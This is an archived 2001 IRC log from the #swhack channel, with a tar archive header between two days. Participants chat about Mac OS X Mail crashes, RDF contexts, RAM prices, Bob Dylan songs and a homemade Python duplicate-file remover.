minutes 06:53:04 <AaronSw> lol 06:53:21 <AaronSw> Better use it while you have the chance! 06:54:28 <rillian> wonder if I should bother filing a bug 06:57:26 <AaronSw> * AaronSw curses Mail again! 06:57:34 <AaronSw> what mail client do you use? 06:58:21 <AaronSw> rillian, what mail client do you use? 07:04:22 <AaronSw> Conspiracy theorists... dd is suggesting the W3C published this patent draft so that they could get this reacion which they can take back to their patent-loving members. 07:07:55 <rillian> scary 07:08:01 <rillian> AaronSw: Mail.app 07:08:21 <AaronSw> does it crash everytime you view an attachment? 07:08:31 <AaronSw> or view a message that has an attachment/mime 07:08:40 <rillian> AaronSw: nope 07:08:46 <AaronSw> Hmmph. 07:08:55 <AaronSw> I wonder what's wrong with mine, tho. 07:09:07 <rillian> The old one would mark everything as unread if it compaction failed 07:09:15 <rillian> and a couple of other annoyance-level things 07:09:20 <rillian> it's never crashed on me 07:09:34 <rillian> AaronSw: symlinks in you /lib directory? :) 07:09:50 <AaronSw> lol 07:10:21 <AaronSw> Yeah, I had those annoyances... 07:10:31 <rillian> at least ssh doesn't take 45 seconds any more... 07:10:38 <rillian> AaronSw: they seem to have fixed most of those 07:10:41 <AaronSw> So you've viewed messages w/ attachments in 10.1? 07:10:45 <rillian> yes 07:10:51 <AaronSw> hmmm 07:10:52 <rillian> well, not something it could inline 07:10:54 <rillian> hang on 07:11:10 <AaronSw> yeah, i'm thinking inline -- HTML, etc. 07:11:51 <rillian> inline pdf works 07:11:59 <rillian> oh, yeah, inline html works as well 07:12:02 <rillian> I'd forgotten 07:12:04 <AaronSw> hmm 07:12:17 <AaronSw> What am I doing wrong? 07:12:43 <rillian> dunno. gdb it? 07:13:06 <rillian> submitted the installer bug, btw. lied about reproducing it though 07:13:23 <AaronSw> Heh. 07:13:33 <rillian> and the installer has been saying "less than a minute" for about the past 20 07:13:35 <AaronSw> Oh, hmm, I rebuilt my mailbox and it seems to be fixed. 07:13:51 <rillian> The close button is active... 07:13:52 <AaronSw> err, i take that back. 07:14:05 <rillian> "what happens if I press the blue button?" 07:14:27 <AaronSw> it's not all HTML mail -- just seems to be the kind that Mail doesn't send out 07:14:55 <rillian> btw, I've had some complaints about the way it does attachments 07:15:10 <rillian> as I read the spec it's correct, but different from windowland practice 07:15:23 <rillian> fascinating. cvs is still broken 07:15:32 <AaronSw> Yeah, same here -- it seems like no one else can read my attachments 07:16:14 <rillian> it does a multipart/mime with a no-attachements text version at the beginning, followed by the version with the attachments 07:16:23 <rillian> which is what you want if you've got inline attachements 07:16:36 <rillian> but it seems to confuse a lot of mailers 07:17:03 <rillian> the spec says to send alternatives in order of increasing perference 07:17:14 <rillian> which for mailers like outlook means html last 07:17:28 <rillian> which inspires mailers like mutt to read the first one 07:17:37 <rillian> which looks like it has the attachements missing 07:17:58 <AaronSw> Yeah. 07:18:06 <rillian> what they should do is drop the alternative if the attachements are at the end of the message 07:18:16 <AaronSw> 2001-10-04 02:13:57.734 Mail[1082] Warning: two messages in one mailbox have the same ID! 07:18:28 <rillian> sounds like corruption 07:18:44 <rillian> oh, you know 07:18:54 <rillian> I did have a couple of messages that would crash mail.app 07:19:02 <rillian> I'd forgotten about them 07:19:21 <AaronSw> Hmm, crashreporter seems to have stopped 07:19:33 <rillian> only one (and three copies of it!) out of the 20000 or so since I started using it 07:19:42 <AaronSw> hmm 07:19:53 <AaronSw> how do I get crashreporter back again? 07:20:12 <rillian> no idea 07:20:20 <rillian> it's just an application you can launch 07:20:29 <rillian> but probably you'll lose all the debug stuff 07:20:40 <AaronSw> crashreporter? no, it was a daemon from /etc/hostconfig 07:21:54 <rillian> I stand corrected 07:21:59 <rillian> seems to be gone from my system 07:22:33 <rillian> maybe this means all the bugs are fixed 07:22:54 <AaronSw> That'd be nice! ;) 07:23:07 <rillian> nope, no libtool 07:23:24 <rillian> I heard it worked on the sourceforge machine though :( 07:23:34 <rillian> anyway, I should head home 07:23:46 <rillian> rillian has quit 07:38:55 <AaronSw> DanC's minutes are brutally honest. ;-) 13:52:31 <sbp> sbp has joined #swhack 13:55:34 <sbp> sbp has quit 15:11:28 <AaronSw> ... 15:53:00 <AaronSw> WL on the W3C patent stuff: "I may not be effective at it, but I will rake muck about this." 17:10:28 <AaronSw> * AaronSw goes to lie down. 17:44:12 <lilo> [GlobalNotice] Hi all. Services will be back up in a moment, after a short program of splits. Apologies for the inconvenience. 17:44:29 <deltab> deltab has quit 17:44:29 <tav> tav has quit 17:44:29 <tav`> tav` has quit 17:44:50 <deltab> deltab has joined #swhack 17:44:50 <tav> tav has joined #swhack 17:44:50 <tav`> tav` has joined #swhack 17:44:58 <AaronSw> anyone know of an fdupes-like thing that'll run on my machine? the C version won't compile. 17:57:07 <AaronSw> anyone know of an fdupes-like thing that'll run on my machine? the C version won't compile. 17:57:53 <AaronSw> I guess i will just write a python ditty myself 18:17:34 <AaronSw> grr, why is Python insisting this symbolic link is a regular file? 18:18:15 <AaronSw> deltab? 18:27:15 <AaronSw> i guess it's not so important 18:28:57 <AaronSw> ahh, i guess I needed to use lstat instead of stat 18:34:58 <AaronSw> How do I find out if something is a hard link? 18:40:24 <AaronSw> * AaronSw takes a deep breath, and tries out his duplicate finder on his HTTP archive 18:40:54 <AaronSw> Before: 283.8 MB 18:46:48 <AaronSw> * AaronSw tries again with nice -n 20 22:08:18 <AaronSw> Shoot! It finished measuring but then hit a bug before it could take action! 22:08:31 <AaronSw> Trying again. 22:27:28 <sbp> sbp has joined #swhack 22:27:41 <AaronSw> hi sean! 22:27:51 <sbp> Hi there 22:28:01 <sbp> I'm currently modularizing SWIPT... 22:28:17 <sbp> and listening to Bob Dylan 22:28:36 <AaronSw> Cool. 22:28:39 <sbp> How was Sukkot? 22:28:46 <AaronSw> Pretty good thanks. How've you been? 22:29:05 <sbp> not too bad, but tired after the F2F! 22:29:19 <AaronSw> Heh, I bet! 22:30:14 <sbp> I was telling Libby about the discussion we had asserted statements/contexts etc. What example did you give for asserted statements? 22:30:28 <AaronSw> Oh, yes, I thought about that. 22:30:54 <AaronSw> The asserted statement: :supremeCourt :members "9" . 22:31:51 <AaronSw> is a decent one... i don't remember what i used last time 22:32:16 <sbp> in what context would it need to be asserted where reification can't handle it? 22:32:37 <AaronSw> Any context. I just want to assert it. 22:32:42 <sbp> * sbp uses totally the wrong terminology there, but you know what I mean... 22:33:07 <sbp> well it wouldn't be any context, it'd be the root context, but I meant context in the loose non-RDF sense 22:33:24 <sbp> * sbp smacks himself 22:34:07 <AaronSw> sorry, gotta run -- dinner 22:34:14 <sbp> why would you want to nest the statement you gave above and assert it? 22:34:17 <sbp> Oh, fair enough :-) 22:34:20 <sbp> c'ya! 22:34:33 <AaronSw> I don't want to nest it -- i simply want to talk about it 22:34:33 <AaronSw> c'ya 22:34:44 <AaronSw> we'll pick this up again! ;) 22:34:55 <AaronSw> eof.sf.net 22:34:57 <sbp> :-) 22:58:33 <sbp> sbp has quit 22:59:42 <Morbus> Morbus has joined #swhack 23:09:53 <Morbus> hey aaron, did you see the blogger script for scriptMenu? 23:12:20 <Morbus> Morbus has quit 23:27:00 <Morbus> Morbus has joined #swhack 23:32:19 <sbp> sbp has joined #swhack 23:37:09 <Morbus> hey there sbp 23:37:53 <sbp> sbp has quit 23:39:39 <AaronSw> blogger script? no... 23:40:07 <AaronSw> Zeno 23:40:39 <AaronSw> Zeno's paradox is reducible to proving that the sum of the infinite series for the reciprocals of the powers of two is < 2. 23:40:43 <AaronSw> or some number like that 23:41:19 <Morbus> yah, it lets you to post to blogger using apple's xml-rpc/soap stuff. 23:41:43 <AaronSw> neato 23:42:00 <Morbus> yeah :) 23:42:05 <AaronSw> But I think IRC->Weblog would be cooler. ;) 23:42:14 <Morbus> heheh... 23:43:57 <Morbus> revising the design doc for the latest bit of software i'm working on 23:44:07 <sbp> sbp has joined #swhack 23:44:11 <AaronSw> Hi sean 23:44:25 <sbp> Hi there 23:45:34 <AaronSw> * AaronSw cleans up his photo albums 23:47:24 <AaronSw> heh 23:47:34 <AaronSw> I need to chump this one: http://blogspace.com/pictures/photo-view?photo_id=6314 23:48:53 <AaronSw> Where's Eric's version? 23:53:56 <AaronSw> hello? 23:53:57 <Morbus> darkwing duck! 23:54:04 <Morbus> lets get dangerous! 23:54:08 <Morbus> when there's trouble,you call dw! 23:54:18 <Morbus> * Morbus scurries back into the corner. 23:54:26 <sbp> s/lets/let's ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-05.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000065006�07357443011�012007� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:01:48 <logster> logster has joined #swhack 00:01:48 <niven.openprojects.net> Users on #swhack: logster @sbp Morbus AaronSw tav` tav deltab 00:01:52 <AaronSw> thanks archiverProxy! 00:02:34 <AaronSw> sbp, so on that reification issue -- the question is why would one need contexts as part of the language? 00:02:55 <AaronSw> how are they important to every rdf user? 00:03:14 <sbp> because they allow one to do rules easily 00:03:26 <sbp> well, they allow people to do rules at all 00:03:39 <AaronSw> Not really... 00:03:45 <AaronSw> and that still doesn't make them important to everyone. 00:03:47 <sbp> at the moment, there are no built in contexts, so RDF processors do not have to recognize them 00:03:55 <AaronSw> Right, why would they have to? 00:03:56 <sbp> and yet, there is still a root context to the document 00:04:17 <sbp> which seems a bit silly to me; why have a root context, but with no way of asserting something outside of that context, excpet in the model 00:04:22 <AaronSw> well, you can think of things that way in a context-centric world 00:04:43 <AaronSw> but i don't think that it's the only way to look at it 00:04:51 <sbp> it's good to remove certain things from the root context of the document in that way 00:05:16 <sbp> blargh, we should be doing this on #rdfig 00:09:23 <Morbus> i love powerpuff fm. 00:10:33 <AaronSw> fm? 00:11:21 <sbp> powerpuff? 00:11:41 <sbp> love? 00:11:42 <Morbus> streaming radio station. plays cartoon themes and related. 00:11:51 <sbp> Ah, FM 00:37:06 <AaronSw> Heh: 00:37:07 <AaronSw> Lizzie Borden took an ax, 00:37:07 <AaronSw> Gave her father forty whacks. 00:37:07 <AaronSw> When she saw what she had done, 00:37:08 <AaronSw> She gave her mother forty-one. 00:37:12 <AaronSw> - http://www.paganvillages.com/Goddess/fairraven/infamous.html 00:37:40 <AaronSw> (exists 'm '(and (hobby m axe-murderer) (plans Leo `(married Leo ,m)))) 00:37:48 <AaronSw> - http://lists.w3.org/Archives/Public/www-rdf-logic/2001Apr/0066.html 00:37:53 <AaronSw> You sorta have to feel sorry for Leo. 00:39:28 <sbp> _:m :hobby :axe-murderer . :Lro :plans { :Leo :married _:m } . 00:39:38 <sbp> s/Lro/Leo 00:40:19 <sbp> (exists ((?x Person) (?y Person)) (and (name ?x "Sean") (demonstratesKIFproperlyTo ?x ?y) (name ?y "Aaron"))) 00:41:03 <sbp> _:x a :Person . _:y a :Person . _:x :name "Sean" . _:x :demonstratesKIFproperlyTo _:y . _:y :name "Aaron" . 00:52:25 <sbp> Aaron, can I recommend some Bob Dylan songs to you? 00:52:33 <AaronSw> Please do! 00:53:00 <AaronSw> Morbus, has MacSatelliteX stopped working for you? 00:53:03 <sbp> er... first, what kind of stuff do you like? 00:53:20 <AaronSw> All sorts of stuff. 00:53:25 <AaronSw> Give me a representative sample. 00:54:14 <sbp> Lay Lady Lay, Tangled Up In Blue, Summer Days, Stuck Inside Of Mobile With The Memphis Blues Again, Like A Rolling Stone, Just Like Tom Thumb's Blues, Sad Eyed Lady Of The Lowlands, Wedding Song, Black Diamond Bay, Dirt Road Blues 00:54:42 <Morbus> aarow, dunno. havent used it in a while. lemme check 00:55:36 <Morbus> whoa, its got all weird colors in 10.1 00:56:14 <Morbus> well, its not maghically connecting now, but that could be just server slownes 00:56:15 <sbp> It's All Over Now Baby Blue, Visions Of Johanna, I Want You, Lo And Behold, As I Went Out One Morning, All Along The Watchtower, Tonight I'll Be Staying Here With You, Shelter From The Storm, Buckets Of Rain, Bye And Bye 00:56:29 <Morbus> can't quit out of it either :( 00:56:40 <Morbus> oh there we go. 00:56:41 <sbp> in no particular order 00:56:43 <Morbus> just took a bit. 00:57:06 <AaronSw> hmm, it just unexpectedly quits on me as soon as i open it 00:57:29 <Morbus> do you have the latest one? the latest one did that to me. i'm using 1.2 i think 00:57:33 <Morbus> you coudl try the old pref delete 00:57:57 <AaronSw> It's whatever one you gave me. 00:58:01 <AaronSw> The newer version. 00:58:56 <AaronSw> no, deleting prefs didn't help 00:58:56 <sbp> She Belongs To Me, It's Alright Ma, Highlands, You Ain't Going Nowhere, This Wheel's On Fire, Country Pie, Tiny Montgomery, Yea! Heavy And a Bottle Of Bread, Obviously Five Believers 00:59:12 <AaronSw> enough, sbp! 00:59:14 <Morbus> oh. you may want to try 1.3 - that's the one that was casing me problems. 00:59:19 <Morbus> what the hell is that, anyways? 00:59:20 <sbp> any of the songs from Blonde On Blonde... 00:59:38 <AaronSw> Morbus, is 1.3 on versiontracker? 00:59:50 <Morbus> last i checked 01:02:58 <Morbus> the uh, new ampheta is on vt too... with cough five stars on pc/mac. cough. choke 01:03:28 <AaronSw> :) 01:05:00 <AaronSw> wow, this Kevin Hemmingway fellow (wonder who he is) really likes the new AmphetaDesk: """ampheta desk iz suuuper coooll! yah, it rox man... other programs do same stuff but they suckk!!!! get amphetadesk today!!!""" 01:05:37 <Morbus> hehehe. yeah, who is that moron? i don't want no multiexclamation mark luser using my 'reet software. 01:11:23 <AaronSw> hmm, something is really wrong -- stuffit expander quits out right away too 01:11:55 <AaronSw> and the open command just bus errors 01:13:16 <AaronSw> I think I better reboot... 01:13:17 <AaronSw> brb 01:13:19 <Morbus> you use bbedit? my open recent menu isn't updating anymore 01:13:32 <AaronSw> no, I use Pepper 01:13:41 <Morbus> -1 01:13:44 <Morbus> :) 01:14:04 <AaronSw> what? I bought bbedit but didn't want to shell out the cash again for a carbon version 01:14:09 <AaronSw> and Pepper is much nicer 01:14:21 <Morbus> bah! you're justifying its cheapness. 01:14:29 <AaronSw> heh 01:14:39 <AaronSw> you're justifying its price! 01:14:50 <Morbus> hehehe. 01:15:21 <AaronSw> Pepper doesn't suck. 01:15:32 <Morbus> yeah, well, at least my editor is damaging to the eyes 01:15:40 <AaronSw> heh. 01:15:50 <AaronSw> ok... rebooting brb 01:15:56 <AaronSw> AaronSw has quit 01:18:48 <sbp> Wow! Massive lag 01:18:50 <aaronsw> aaronsw has joined #swhack 01:18:57 <aaronsw> Why does OS X take so long to boot up? 01:19:02 <aaronsw> * aaronsw waves from borrowed computer 01:19:10 <sbp> * sbp waves 01:19:42 <aaronsw> Hmm, xchat probably wouldn't be so bad with an Aqua theme... 01:19:46 <Morbus> doesn't on my machine. 01:19:47 <Morbus> hehehe. 01:19:52 <Morbus> man, your boxes must suck <G> 01:20:02 <Morbus> i have 470 megs or so in here. takes about a minut 01:20:09 <aaronsw> 470 megs?! 01:20:15 <Morbus> of ram, sorry 01:20:33 <Morbus> and this crappy usb hub which adds some time to the startup/ 01:20:34 <aaronsw> I'm still on the happy Mac! 01:20:44 <Morbus> the happy Mac? 01:20:53 <aaronsw> Yes, I know of RAM. That's insane. That's a lot of RAM. Wanna send me some? 01:21:10 <aaronsw> the smiley mac-face with the rainbow beachball in the corner 01:21:10 <Morbus> hehe. that's not insane. its "oh shit! ram is cheaper than a cornerstore candy bar!" 01:21:17 <aaronsw> heh 01:21:24 <aaronsw> How much is 470 megs? 01:21:29 <Morbus> oh, the colored pizza of death. 01:21:32 <Morbus> i hate that flipping thing 01:21:34 <sbp> * sbp has 256MB, which is better than the old 32MB 01:21:35 <aaronsw> aaronsw is now known as AaronSw 01:21:42 <AaronSw> heh 01:21:53 <Morbus> welp, i bought a 128 chip when i first bought the mac in dec. i think that was 60. 01:21:53 <AaronSw> I ran OS X on 32MB once... not fun ;) 01:22:05 <Morbus> and then a month or so ago, i picked up another 256 chip and that was like 43. was insane. 01:22:20 <Morbus> got it from crucial ram 01:22:47 <AaronSw> Think it's worth it? 01:22:48 <Morbus> oh sorry - 448 totay is what i have 01:23:18 <Morbus> well, its so damn cheap nowadays, that i wouldn't hesitate recommending anyone a 256 chip 01:23:32 <AaronSw> Let's see here... looks like i've got both slots full 01:23:39 <AaronSw> so one's a 32mb, i think 01:23:47 <Morbus> can you replace that one with a 256? 01:24:01 <AaronSw> yeah, i think so... it's the small kind, right? 01:24:14 <Morbus> um. i dunno what the large kind is compared to the small. 01:24:28 <Morbus> i think mine was about 3/4's of a full pencil 01:24:38 <Morbus> length wise 01:24:47 <AaronSw> hmm 01:24:58 <AaronSw> sounds about right 01:25:11 <Morbus> i cant crack my case cos it's buffed up against the side of a desk. too much effort right now ;) 01:25:11 <AaronSw> what was that ram price comparison site? 01:25:20 <AaronSw> heh 01:25:22 <Morbus> dunno. i got crucial ram 01:25:55 <AaronSw> you said that ;) 01:26:03 <Morbus> hey aaron? 01:26:06 <AaronSw> yeah? 01:26:10 <Morbus> i heard that crucial ram was good. i got some myself. 01:26:14 <AaronSw> lol 01:26:18 <Morbus> :) 01:26:30 <AaronSw> Morbus, is this crucial ram any good? it's pretty cheap 01:26:36 <AaronSw> you wouldn' 01:26:40 <AaronSw> you wouldn't happen to have any? 01:26:41 <Morbus> heh. well, it's crucial to myself. hyuck 01:26:55 <sbp> pop it in the mail... 01:27:04 <Morbus> well, seriously, i had bought non crucial ram, and it ran into the firmware bug that happened a bit ago 01:27:18 <AaronSw> hmm, they're owned by micron, aren't they 01:27:27 <Morbus> i had installed that ram on the last slot (the rest were empty).\ 01:27:38 <Morbus> couldn't reboot the system unless i cold booted. was hella annoying. 01:27:48 <Morbus> i bought the crucual, made it the last ram, and everything ran smoothly 01:27:52 <Morbus> no more cold boot issues 01:28:00 <AaronSw> Hmm, didn 01:28:09 <AaronSw> Hmm, didn't know there was an Apricot computer co. 01:28:16 <Morbus> apricot? heh. 01:28:54 <AaronSw> hmm, 512mb for $104; 256 for $50 01:29:09 <AaronSw> that is dirt cheap 01:29:18 <Morbus> yup, that sounds about right 01:29:53 <AaronSw> so that'd be 384mb 01:30:28 <AaronSw> ok, something's wrong -- it should be passed the happy mac by now 01:30:36 <AaronSw> * AaronSw reboots it 01:31:10 <AaronSw> Ahh, much better 01:32:14 <AaronSw> AaronSw is now known as a2 01:32:32 <AaronSw> AaronSw has joined #swhack 01:32:51 <a2> a2 has quit 01:37:20 <AaronSw> hmm, if i have 256mbs now... 01:38:19 <AaronSw> Cool, my Mail problem is fixed! 01:38:33 <Morbus> on a reboot? its all fixed? 01:38:58 <AaronSw> yep 01:39:03 <AaronSw> magic. 01:39:04 <AaronSw> "And we heard him exclaim 01:39:06 <AaronSw> As he started to roam: 01:39:06 <AaronSw> `I'm a hologram, kids, 01:39:06 <AaronSw> please don't try this at home!'" 01:39:06 <AaronSw> -- Bob Violence 01:39:09 <Morbus> heh 01:41:42 <AaronSw> Chas Munat pointed me to a seemingly phenomic page: http://karljahn.tripod.com/lang/words.htm 01:41:47 <AaronSw> Interesting mix of words. 01:41:57 <AaronSw> webbed out, (adj.) tired of websurfing or webmastering. 01:42:13 <sbp> [[[ 01:42:18 <sbp> NUMBER ONE 1965 S 01:42:18 <sbp> Untitled instrumental called "Trk No Vocal" on the tape box and "#1" on the artists' contract card, recorded with the Hawks between the "Highway 61 Revisited" and "Blonde On Blonde" sessions at Columbia Studios, New York, 5 Oct 1965 (CO87187 and CO87192) - usually misdated as 30 Nov - 01 Dec 1965. Paul Cable speculated that this track could be the legendary "lost" song CHURCH WITH NO UPSTAIRS, but Tim Dunn, author of "The Bob Dylan Copyright Files" 01:42:23 <sbp> ]]] - http://www.google.com/search?q=cache:www.jana.mcmail.com/BobUnrelN.htm 01:42:56 <sbp> lol: achladiomorph, (n.) a woman whose figure would be improved if the extra mass could be moved from her thighs and buttocks to her breasts. 01:48:15 <AaronSw> whoa, what's with the menu collors in macsatellite? 01:48:30 <Morbus> yeah, they're all fucked up. second program i've seen that does that 01:48:43 <AaronSw> What was the other? Cat-in-the-dock, for me 01:48:56 <Morbus> iCamMaster (.com) 01:51:37 <sbp> Wow, Number One is really good... 01:52:32 <AaronSw> LOL: "DONT SEND AN EMAIL TO SUPPORT REPORTING THIS MESSAGE!!! THIS IS NOT AN ERROR OF MACSATELLITE!!!" 01:52:44 <Morbus> hehehehe 01:52:47 <Morbus> yeah, i saw that too. 01:53:01 <Morbus> i wanted to send him a spite email. "hey, you know, i got this error..." 01:53:18 <AaronSw> hehehe 01:55:43 <AaronSw> * AaronSw tries out his fdupes.py program _again_ 01:55:52 <AaronSw> maybe it'll actually work this time. 01:55:56 <sbp> what's that? 01:56:05 <AaronSw> i built it as an assistant to the archiver -- 01:56:30 <AaronSw> it searches thru files that are duplicates (have same md5 has) and deletes the second copy, putting a link to the first in its place 01:56:37 <Morbus> hey, have you done any experimentation with scriptmenu? like what gets passed to the scripts? 01:56:51 <AaronSw> no, haven't had time 01:56:59 <AaronSw> i don't think anything gets passed, tho 01:57:00 <Morbus> same here :( 01:57:24 <Morbus> well, something has to, because people are updating their manilla sites through textedit and script menu 01:57:29 <AaronSw> i just wrote a little "restart dock" shell script 01:57:41 <Morbus> i had one of those and it crashed my box 01:57:45 <AaronSw> morb, they're grabbing the selection from textedit 01:57:54 <AaronSw> via applescript events 01:58:06 <AaronSw> (at least that's my guess) 01:58:10 <sbp> heh, "morb". "morby"; "morbydo-doos" 01:58:19 <Morbus> morby morby doooo! 01:58:21 <AaronSw> lol 01:58:21 <Morbus> where are you? 01:58:38 <AaronSw> morbster, morbomatic 01:58:41 <AaronSw> where is who? 01:58:45 <Morbus> morbus corpus 01:58:47 <sbp> morboid 01:58:49 <Morbus> you know, scooby dooby doo. 01:58:57 <AaronSw> ahh 01:59:51 <sbp> where are you? 02:01:18 <AaronSw> Heh, McCusker: " In principle, it was never necessary to actually end a sentence. Why not just tack on more commas and conjuctions, and damn the conventions?" 02:01:26 <AaronSw> - http://treedragon.com/ged/map/ti/newOct01.htm#03oct01-breaking 02:02:48 <AaronSw> "It's possible to make other people manic by pumping their input system to keep it on the edge of what they can follow and absorb. Especially if you model what they are thinking in your mind, and put new things in the running stream of prattle that plays off what they seem to be thinking just now. Pretty soon they go kablooey! and start giggling almost uncontrollably, just as if you were tickling their ribs without stopping. People like this. Be 02:03:08 <sbp> I kinda agree with him; semi-colons are espeically useful for tacking sentences together, and commans are of course the staple, but you have to remember that people expect a certain amount of sensibilites when people write sentences - creating run on sentences that go on for ages and ages just isn't the done thing, and besides, there have even been *campaigns* to stop people from creating huge run on sentences that just go on and on until people do 02:03:35 <AaronSw> people do what? 02:03:39 <AaronSw> don't leave me hanging! 02:04:18 <sbp> because they're just so boring; and of course, we must remember that for the people writing these literary atrocities, it's very difficult - for example, I'm right here, right now, trying to write a really large sentence, but Aaron kjeeps going on at me to not leave him hanging 02:04:39 <Morbus> morbus wants to be in the sentence! 02:04:42 <Morbus> put me in the sentence! 02:04:45 <AaronSw> Yep, I just kjeeps. 02:05:14 <sbp> which is really really annoying, but of course there's a 256/512 character limit on the IRC sentences anyway, so the first installment of the sentence was probably cut off, and now ol' morby wants to be included in the sentence, but I don't think that I'm going to let him 02:05:40 <Morbus> Oooh. you suck! 02:05:53 <Morbus> yeah, well, i 'll just start my own forever sentence! 02:06:35 <sbp> and he probably won't even notice that by saying "morby" in this sentence earlier on, I have actually included him, and therefore I don't suck but he does, well kind-of anyway, although I wouldn't be saying that if he shipped me some cool RAM, not that I need it 02:06:51 <Morbus> i heard crucial ram was good 02:06:59 <AaronSw> heh! 02:07:06 <sbp> and besides, who needs a long sentence with spelling mistakes such as "kjeeps" and "commans" - it's just a silly thing to do 02:07:43 <sbp> no really: it is. 02:07:57 <AaronSw> take a bow! 02:07:58 <Morbus> it really really is. 02:08:07 <Morbus> a bow? why, is he gonna put it in his hair? 02:08:12 <sbp> * sbp bows 02:08:20 <sbp> the bit you probably missed is: "there have even been *campaigns* to stop people from creating huge run on sentences that just go on and on until people don't really want to read them anymore" 02:08:37 <sbp> hair? 02:08:45 <sbp> oh, I get it. All laugh at the funny pun! 02:09:02 <sbp> I was thinking of a violin bow actually... 02:09:47 <sbp> how does one get an umlaut over the u? 02:09:54 <AaronSw> get a Mac. 02:10:14 <Morbus> lol 02:10:21 <Morbus> photoshop and a 90 degree colon? 02:12:32 <sbp> ¼ÄDÄ%+{8Y{£_ƒÜºäçåêçëèïïîìÆæÅÄÉÅÄöò×Ø£ÿÜÿÖÜÿùûûòƒ×Ø£øøÜÖáíóúñÑѪºÄ¿®¬½¼¡«»___¦¦ÁÂÀ+¢+-+ 02:12:45 <AaronSw> it's in there somewhere. ;) 02:12:57 <sbp> but no umalut over a small u! 02:13:00 <Morbus> whoo, mighty morphin power rangers theme is playing. 02:13:05 <Morbus> look in keycaps, dammit 02:13:06 <sbp> that's just going through alt+xxx 02:13:22 <AaronSw> Morbus, what's the url for this station? 02:13:31 <sbp> dorfmürdle 02:13:36 <sbp> got it 02:13:48 <sbp> £Ø× 02:13:49 <Morbus> its satan: 02:13:49 <Morbus> http://pri.kts-af.net/redir/index.pls?esid=94321d77332591e0b1461453e1b2f661&url_no=2&client_id=7&uid=68efed4d03ec7e45fd3978262c107180&clicksrc=xml 02:13:56 <Morbus> according to itunes 02:14:02 <AaronSw> Heh: LOUDER AND FASTER ARE BETTER - a Game Rule of Rock'n'Roll 02:14:02 <AaronSw> * A .44 MAGNUM BEATS A ROYAL FLUSH - a Game Rule of Killer Poker 02:14:02 <AaronSw> * SOCCER IS FOR PUSSIES - a Game Rule of NFL or Australian Football 02:14:31 <sbp> or Rugby 02:14:44 <sbp> actually... 02:15:04 <AaronSw> INFIDEL, n. In New York, one who does not believe in the Christian religion; in Constantinople, one who does. 02:15:11 <sbp> *NFL IS FOR PUSSIES - a Game Rule of Rugby 02:15:18 <sbp> Heh 02:15:29 <AaronSw> cite: http://www.sonic.net/~ric/go/knowbel.htm 02:16:14 <Morbus> you listening to it, aaronSw? 02:16:18 <AaronSw> yep 02:16:29 <Morbus> go go! 02:16:44 <AaronSw> what's this? 02:16:57 <Morbus> just an ad 02:17:14 <sbp> flogo? 02:17:16 <AaronSw> hmm, we must be out of sync 02:17:16 <Morbus> i like this channel cos it never skips - using irc, email, im, et. 02:17:28 <Morbus> oh, the song playing down? with the ass house beat? 02:17:30 <Morbus> not a clue. 02:17:31 <Morbus> :) 02:17:32 <AaronSw> yeah 02:17:49 <sbp> lol @ ass house beat 02:17:53 <Morbus> :) 02:17:56 <sbp> ass house: cool new genre 02:18:03 <Morbus> hehehe 02:19:06 <sbp> "y'know, man, we always like start out plain' speed grage, but end up palying a bit of the fuckin' ass house, innit?2 02:19:06 <sbp> yeah, sorted 02:19:21 <Morbus> hehehe. 02:19:26 <Morbus> that's funny 02:19:33 <sbp> * sbp takes another bow 02:19:41 <AaronSw> come on, it's all about the jungle, dude! 02:19:47 <Morbus> aaronSw, occasionally they'll play english versions, then the japanese version.s 02:19:54 <Morbus> all in all though, i love this channel :) 02:19:55 <AaronSw> heh 02:20:03 <Morbus> i was gonna start up a game music channle, but a great deal i had fell through 02:20:20 <sbp> What's the difference between the English and the Japanese versions? 02:20:24 <AaronSw> oh geez, that'd be annoying... super mario... 24 hours a day! 02:20:31 <sbp> * sbp listens to Number One all the way through 02:20:33 <AaronSw> sbp, one is in japanese 02:20:35 <Morbus> it was like unlimited bandwidth, 100 streams, for 30 bucks a month. it was a friend of a friend sort of deal. 02:20:38 <sbp> this really is a cool song 02:20:42 <Morbus> then the guy disappeared. 02:21:02 <Morbus> heheh. not super mario, but just all in all. lots of the squaresoft stuff is good. same with some old sega stuff. 02:21:04 <AaronSw> Heh. 02:24:00 <sbp> Hmm... 02:24:14 <sbp> well, I'm quite tired 02:24:44 <sbp> It's been nice chatting with you all (both) 02:24:48 <sbp> c'ya 02:24:50 <AaronSw> """What do you get when you cross the classic cartoon themes from yesterday and today with the English adaptations of some of your favorite anime themes and throw in some novelty songs? You get POWERPUFF-FM. PPFM is the perfect listening companion to the popular POWERPUFF.COM website. """ 02:24:53 <AaronSw> bye, sbp 02:24:54 <Morbus> ciao ciao 02:24:58 <sbp> sbp has quit 02:25:04 <AaronSw> cite: http://animehardcore.gamesquad.net/powerpuff.shtml 02:25:11 <Morbus> goddamit 02:25:19 <Morbus> my stupid cvs password simply won't stick. 02:25:56 <Morbus> oh.maybe i need to wait 6 hours. 02:26:04 <Morbus> yeah, that'd make sense. 02:26:43 <AaronSw> hmm 02:26:56 <Morbus> what?\ 02:27:27 <Morbus> fat albert! 02:34:54 <Morbus> Morbus has quit 02:37:21 <AaronSw> LOL @ http://forums.off-topic.net/showthread.php?s=&threadid=108074&perpage=25&pagenumber=1 03:30:19 <AaronSw> Cool, daily Scott McCloud: http://www.scottmccloud.com/comics/mi/mi.html 04:44:33 <AaronSw> Woohoo, my fdupes.py is working -- my free disk space is climbing steadily. 05:58:35 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by niven.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 05:58:49 <logster> logster has joined #swhack 05:58:49 <niven.openprojects.net> Users on #swhack: logster AaronSw tav` tav deltab 07:28:22 <tav`> tav` has quit 07:44:42 <AaronSw> 690MB free when fdupes finished (modulo some Bob Dylan songs...) 14:34:01 <Morbus> Morbus has joined #swhack 14:34:14 <Morbus> Morbus has left #swhack 17:47:53 <AaronSw> lo 20:23:27 <AaronSw-x> AaronSw-x has joined #swhack 20:23:39 <AaronSw-x> Rootless XDarwin is so cool! 20:23:45 <AaronSw-x> * AaronSw-x waves from xchat 20:24:36 